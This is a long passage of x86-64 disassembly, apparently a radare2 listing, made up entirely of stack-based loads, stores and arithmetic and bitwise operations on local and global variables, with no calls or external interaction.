lea rax, [rsp + 0x1058]
mov qword [rsp + 0xade8], rax
mov rax, qword [rsp + 0x8f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fa8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e8b08], ax
mov rax, qword [rsp + 0x9770]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0xa568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac08], rax
lea rax, [rsp + 0x8fe8]
mov qword [rsp + 0xadf0], rax
mov rax, qword [rsp + 0x9cf0]
mov ecx, dword [rsp + 0x4ec4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9580]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9988]
mov eax, dword [rax]
mov dword [rsp + 0x51a8], eax
mov rax, qword [0x1401e89e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11cc]
sar eax, cl
mov word [rsp + 0x103c], ax
lea rax, [rsp + 0xc1]
mov qword [0x1401e8c00], rax
movsx eax, byte [rsp + 0xd2]
mov rcx, qword [rsp + 0xabc0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x147], al
lea rax, [rsp + 0x12b0]
mov qword [rsp + 0xadf8], rax
movsx eax, byte [rsp + 0xe0]
movsx ecx, byte [rsp + 0x134]
shl eax, cl
mov rcx, qword [rsp + 0xa7b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3d0]
movzx eax, byte [rax]
mov byte [rsp + 0x16b], al
mov rax, qword [rsp + 0x9e48]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5110], eax
mov rax, qword [rsp + 0x8ed0]
mov rcx, qword [rsp + 0x8d40]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x99a8], rax
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0xae00], rax
mov eax, dword [rsp + 0x4fa4]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5080], eax
mov rax, qword [rsp + 0xa720]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x132c]
add eax, ecx
mov word [0x1401e70d8], ax
lea rax, [rsp + 0x1160]
mov qword [rsp + 0xae08], rax
movsx eax, byte [0x1401e7057]
movsx ecx, byte [rsp + 0x8e]
sub eax, ecx
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x9500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac28]
mov byte [rcx], al
mov rax, qword [rsp + 0xa110]
movzx eax, word [rax]
mov word [rsp + 0x13c4], ax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x9bf0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x93f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa260]
mov qword [rsp + 0xae10], rax
mov eax, dword [0x1401e7004]
mov ecx, dword [rsp + 0x4e34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5148], eax
mov rax, qword [rsp + 0xa330]
mov ecx, dword [rsp + 0x4ec0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50f0], eax
movzx eax, word [rsp + 0x1080]
mov word [0x1401e8c08], ax
movzx eax, byte [rsp + 0xaf]
mov byte [rsp + 0x16c], al
mov rax, qword [0x1401e8bb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
add eax, ecx
mov rcx, qword [rsp + 0x9830]
mov byte [rcx], al
lea rax, [rsp + 0x1058]
mov qword [rsp + 0xae18], rax
mov rax, qword [rsp + 0xa4c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa4]
add eax, ecx
mov rcx, qword [rsp + 0xa100]
mov byte [rcx], al
mov rax, qword [rsp + 0xa228]
mov rax, qword [rax]
mov qword [rsp + 0xae20], rax
mov rax, qword [rsp + 0xa788]
mov rcx, qword [rsp + 0x9c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e28], eax
mov rax, qword [rsp + 0x8f08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9de8]
mov qword [rsp + 0xae28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5000], eax
mov rax, qword [rsp + 0xa148]
mov qword [rsp + 0xae30], rax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9690]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e8bd8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa290]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d90]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x10c0], ax
movzx eax, word [rsp + 0x122c]
mov word [rsp + 0x13c8], ax
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad10]
mov word [rcx], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7056]
add eax, ecx
mov byte [rsp + 0x101], al
lea rax, [rsp + 0x50f4]
mov qword [rsp + 0xae38], rax
mov rax, qword [rsp + 0x98b8]
mov rcx, qword [rsp + 0xae20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0xa9a8]
mov eax, dword [rax]
mov dword [rsp + 0x51ac], eax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0xaa78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa850]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x169]
sub eax, ecx
mov byte [0x1401e707b], al
movsx eax, word [rsp + 0x1094]
mov rcx, qword [rsp + 0xa9e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9090]
mov word [rcx], ax
lea rax, [rsp + 0xf7]
mov qword [rsp + 0xae40], rax
movzx eax, word [rsp + 0x122c]
mov rcx, qword [rsp + 0xaae8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaab0]
mov word [rcx], ax
lea rax, [rsp + 0x77]
mov qword [rsp + 0xae48], rax
mov rax, qword [rsp + 0xa620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9040]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90d8], rax
mov eax, dword [rsp + 0x5164]
mov dword [rsp + 0x51b0], eax
mov rax, qword [rsp + 0x8ec0]
mov rcx, qword [rsp + 0x8f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50c8], eax
mov rax, qword [rsp + 0x9700]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9948]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f70], rax
movsx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x97c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e87f3], al
lea rax, [rsp + 0x115c]
mov qword [rsp + 0xae50], rax
mov rax, qword [rsp + 0x9290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9190]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x70], al
lea rax, [rsp + 0x1318]
mov qword [rsp + 0xae58], rax
mov rax, qword [rsp + 0x9780]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e706f]
sar eax, cl
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x5110]
movzx ecx, al
mov eax, dword [rsp + 0x4e7c]
shl eax, cl
mov rcx, qword [rsp + 0xa648]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9748]
mov rax, qword [rax]
mov qword [rsp + 0xae60], rax
mov rax, qword [rsp + 0x9138]
mov rcx, qword [rsp + 0xa098]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4e1c], eax
mov rax, qword [rsp + 0xa770]
mov rax, qword [rax]
mov qword [rsp + 0xae68], rax
movzx eax, word [rsp + 0x124c]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7064], ax
movsx eax, word [rsp + 0x1068]
movsx ecx, word [rsp + 0xffc]
add eax, ecx
mov rcx, qword [rsp + 0xa7a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xbc]
movsx ecx, byte [rsp + 0xc4]
sub eax, ecx
mov byte [rsp + 0xd8], al
lea rax, [rsp + 0x10c]
mov qword [rsp + 0xae70], rax
movzx eax, word [0x1401e704c]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9700]
mov rax, qword [rax]
mov qword [rsp + 0xae78], rax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xad90], rax
mov rax, qword [rsp + 0xa0d0]
mov rcx, qword [rsp + 0xab88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5080], eax
mov rax, qword [rsp + 0x9e30]
mov eax, dword [rax]
mov dword [rsp + 0x51b4], eax
mov rax, qword [rsp + 0x9618]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e70f4], ax
mov rax, qword [rsp + 0xa1b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9350]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x13b4], ax
lea rax, [rsp + 0x1274]
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0xa6f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
lea rax, [rsp + 0xfb]
mov qword [rsp + 0xae88], rax
mov rax, qword [rsp + 0xa2e0]
mov rcx, qword [rsp + 0x9630]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9680], rax
mov eax, dword [rsp + 0x50f4]
mov rcx, qword [rsp + 0xad18]
mov qword [rsp + 0xae90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae90]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5000], eax
mov rax, qword [rsp + 0x9678]
mov eax, dword [rax]
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0x9e38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5d0], rax
mov rax, qword [rsp + 0xaa58]
movzx eax, word [rax]
mov word [rsp + 0x13cc], ax
movzx eax, byte [rsp + 0xf3]
mov byte [0x1401e888a], al
movsx eax, word [rsp + 0x1164]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8f50]
mov word [rcx], ax
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov byte [rcx], al
lea rax, [0x1401e703f]
mov qword [rsp + 0xae98], rax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0xa500]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9960]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f20]
mov eax, dword [rax]
mov dword [rsp + 0x51bc], eax
mov rax, qword [rsp + 0x97c8]
mov ecx, dword [rsp + 0x513c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4eec], eax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x9258]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9f38]
mov qword [rcx], rax
lea rax, [rsp + 0x122]
mov qword [rsp + 0xaea0], rax
movsx eax, word [0x1401e70b0]
movsx ecx, word [rsp + 0x1068]
sub eax, ecx
mov rcx, qword [0x1401e8a48]
mov word [rcx], ax
mov rax, qword [rsp + 0x99b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa678]
mov word [rcx], ax
mov rax, qword [rsp + 0xae98]
movzx eax, byte [rax]
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0x9d88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x112c]
sub eax, ecx
mov word [rsp + 0x11f8], ax
mov rax, qword [rsp + 0xaab8]
mov qword [rsp + 0xaea8], rax
mov rax, qword [rsp + 0xa4e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5068], eax
mov rax, qword [rsp + 0x9980]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa8b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9760]
mov eax, dword [rax]
mov dword [rsp + 0x51c0], eax
movsx eax, word [rsp + 0x10bc]
movsx ecx, word [rsp + 0x10c0]
and eax, ecx
mov rcx, qword [rsp + 0x9cf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa6e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92c0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401e87b8]
mov byte [rcx], al
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0xaeb0], rax
mov rax, qword [rsp + 0xac00]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8850]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ec8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12c0], ax
mov rax, qword [rsp + 0x9da8]
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0xab70]
mov rcx, qword [rsp + 0x9dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x50bc], eax
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0xaec0], rax
mov rax, qword [rsp + 0xa900]
mov rcx, qword [rsp + 0xa1a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa740], rax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [0x1401e8790]
add eax, ecx
mov word [rsp + 0x12f8], ax
lea rax, [rsp + 0xaa]
mov qword [0x1401e8c10], rax
lea rax, [rsp + 0x134c]
mov qword [rsp + 0xaec8], rax
mov rax, qword [rsp + 0xa210]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8938]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x16e], al
mov rax, qword [rsp + 0xae58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa9e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1364], ax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x50bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0x95a8]
mov qword [rsp + 0xaed0], rax
mov rax, qword [rsp + 0x9dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0xa808]
mov qword [rsp + 0xaed8], rax
movzx eax, word [0x1401e703c]
movzx ecx, word [rsp + 0x111c]
add eax, ecx
mov rcx, qword [0x1401e8b10]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0xa508]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa9f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x91c8]
movzx eax, byte [rax]
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x9660]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x116]
sub eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0x107c]
movzx ecx, word [rsp + 0x1384]
sub eax, ecx
mov word [rsp + 0x123c], ax
lea rax, [0x1401e7008]
mov qword [rsp + 0xaee0], rax
mov rax, qword [rsp + 0xa5d8]
mov rcx, qword [rsp + 0x9c28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9958]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa488]
mov qword [rsp + 0xaee8], rax
mov rax, qword [rsp + 0x9d40]
mov rcx, qword [rsp + 0xa7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0xa840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb8]
shl eax, cl
mov byte [0x1401e707e], al
mov rax, qword [rsp + 0xa398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11a8]
sar eax, cl
mov word [rsp + 0x1128], ax
movzx eax, word [rsp + 0x1158]
mov word [rsp + 0x13d0], ax
movzx eax, byte [rsp + 0x104]
movzx ecx, byte [rsp + 0x163]
xor eax, ecx
mov rcx, qword [rsp + 0x9780]
mov byte [rcx], al
movzx eax, word [rsp + 0x1390]
mov word [rsp + 0x13d4], ax
mov rax, qword [rsp + 0x8cf8]
mov ecx, dword [rsp + 0x50a4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fbc], eax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x9438]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa628], rax
mov rax, qword [rsp + 0xaca8]
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x514c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5190], eax
movzx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0xae40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [str._DM_b], al
lea rax, [rsp + 0x110]
mov qword [rsp + 0xaef8], rax
movsx eax, word [rsp + 0x1260]
movsx ecx, word [rsp + 0x1080]
sub eax, ecx
mov word [rsp + 0x12d4], ax
mov rax, qword [rsp + 0x9dc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
sub eax, ecx
mov byte [rsp + 0x139], al
movzx eax, word [rsp + 0x1370]
mov word [rsp + 0x13d8], ax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4e54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50a0], eax
lea rax, [rsp + 0x4fb0]
mov qword [rsp + 0xaf00], rax
mov rax, qword [rsp + 0x8e58]
mov rcx, qword [rsp + 0x9e40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa700], rax
mov rax, qword [rsp + 0xad60]
mov rax, qword [rax]
mov qword [rsp + 0xaf08], rax
movsx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0xa258]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e707f], al
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1054], ax
mov rax, qword [rsp + 0xa698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
shl eax, cl
mov byte [rsp + 0x165], al
lea rax, [rsp + 0x11cc]
mov qword [rsp + 0xaf10], rax
movsx eax, word [rsp + 0x11fc]
movsx ecx, word [rsp + 0x1268]
xor eax, ecx
mov word [rsp + 0x1314], ax
lea rax, [rsp + 0x51b4]
mov qword [rsp + 0xaf18], rax
mov rax, qword [rsp + 0xa378]
mov rcx, qword [rsp + 0xadf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9c70], rax
mov rax, qword [rsp + 0xa458]
mov rcx, qword [rsp + 0x9378]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f08], eax
mov rax, qword [rsp + 0x9198]
mov qword [rsp + 0xaf20], rax
mov rax, qword [rsp + 0x9ad0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xff]
add eax, ecx
mov rcx, qword [0x1401e8c10]
mov byte [rcx], al
movzx eax, word [rsp + 0x1158]
mov rcx, qword [rsp + 0x9de0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaae8]
mov word [rcx], ax
movzx eax, word [rsp + 0x10f4]
mov word [rsp + 0x13dc], ax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf5]
add eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8c0]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8930]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9420]
mov byte [rcx], al
mov rax, qword [rsp + 0xa228]
mov rax, qword [rax]
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xa458]
mov rcx, qword [rsp + 0x9de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa098]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa318]
mov eax, dword [rax]
mov dword [rsp + 0x51c4], eax
mov rax, qword [rsp + 0xaa00]
mov rcx, qword [rsp + 0xa7c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9318], rax
movzx eax, byte [rsp + 0x130]
mov byte [0x1401e888b], al
lea rax, [rsp + 0x149]
mov qword [rsp + 0xaf30], rax
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1028]
add eax, ecx
mov word [rsp + 0x1070], ax
movsx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0xa608]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9690]
mov byte [rcx], al
movzx eax, word [rsp + 0x11d8]
mov word [rsp + 0x13e0], ax
mov rax, qword [rsp + 0x9f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50dc], eax
mov rax, qword [rsp + 0xad80]
mov rax, qword [rax]
mov qword [rsp + 0xaf38], rax
mov eax, dword [rsp + 0x4f08]
mov rcx, qword [rsp + 0xa5a0]
mov qword [rsp + 0xaf40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x513c], eax
mov rax, qword [rsp + 0xadc8]
mov rcx, qword [rsp + 0xa0e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x9420]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb5]
sar eax, cl
mov byte [0x1401e8792], al
lea rax, [0x1401e89e8]
mov qword [rsp + 0xaf48], rax
movzx eax, word [rsp + 0x13d0]
movzx ecx, word [rsp + 0x10c8]
xor eax, ecx
mov word [rsp + 0x1374], ax
movzx eax, word [rsp + 0x1140]
mov word [rsp + 0x13e4], ax
movzx eax, byte [rsp + 0x160]
movzx ecx, byte [0x1401e706e]
and eax, ecx
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9da0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9da8], rax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
mov dword [rsp + 0x51c8], eax
mov rax, qword [rsp + 0x93c0]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0x9468]
mov qword [rsp + 0xaf50], rax
movsx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0xa650]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa068]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x109c]
add eax, ecx
mov word [0x1401e70f8], ax
mov rax, qword [rsp + 0xaeb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ed0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9788]
mov word [rcx], ax
lea rax, [rsp + 0x9c]
mov qword [rsp + 0xaf58], rax
mov rax, qword [rsp + 0x92e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9740]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9220]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a90]
mov eax, dword [rax]
mov dword [rsp + 0x51cc], eax
mov rax, qword [rsp + 0x97c8]
mov ecx, dword [rsp + 0x50b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e68], eax
mov rax, qword [rsp + 0x9088]
mov rax, qword [rax]
mov qword [rsp + 0xaf60], rax
mov rax, qword [rsp + 0x8d08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa9b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca8], rax
movzx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0xad38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
shl eax, cl
mov byte [0x1401e7027], al
mov rax, qword [rsp + 0x97c0]
movzx eax, byte [rax]
mov byte [rsp + 0x170], al
movsx eax, word [rsp + 0x132c]
movsx ecx, word [rsp + 0x1268]
xor eax, ecx
mov word [rsp + 0x12c4], ax
lea rax, [0x1401e7024]
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0xa378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ee8]
mov qword [rsp + 0xaf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf70]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa2d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0xa750]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9598]
mov eax, dword [rax]
mov dword [rsp + 0x51d0], eax
mov rax, qword [rsp + 0x9d40]
mov rcx, qword [rsp + 0x9c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9810]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9e0]
movzx eax, word [rax]
mov word [rsp + 0x13e8], ax
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9560]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7082], al
movsx eax, byte [rsp + 0x10f]
mov rcx, qword [rsp + 0xab50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc3], al
movzx eax, word [rsp + 0x10d4]
mov rcx, qword [rsp + 0x9d88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1220], ax
movzx eax, word [rsp + 0x13a4]
mov word [rsp + 0x13ec], ax
mov rax, qword [rsp + 0x9f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa990]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae20]
mov qword [rsp + 0xaf78], rax
mov rax, qword [rsp + 0xab48]
mov rcx, qword [rsp + 0xae68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5f8], rax
lea rax, [rsp + 0x5150]
mov qword [rsp + 0xaf80], rax
movzx eax, byte [rsp + 0x160]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov byte [rcx], al
lea rax, [0x1401e70d4]
mov qword [0x1401e8c18], rax
mov rax, qword [rsp + 0xa5c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1184]
and eax, ecx
mov word [rsp + 0x1274], ax
lea rax, [rsp + 0x121]
mov qword [rsp + 0xaf88], rax
mov rax, qword [0x1401e8a68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13c8]
sub eax, ecx
mov rcx, qword [rsp + 0x95f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9830]
movzx eax, byte [rax]
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0xa2c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xac98], rax
mov rax, qword [rsp + 0xabf8]
mov rax, qword [rax]
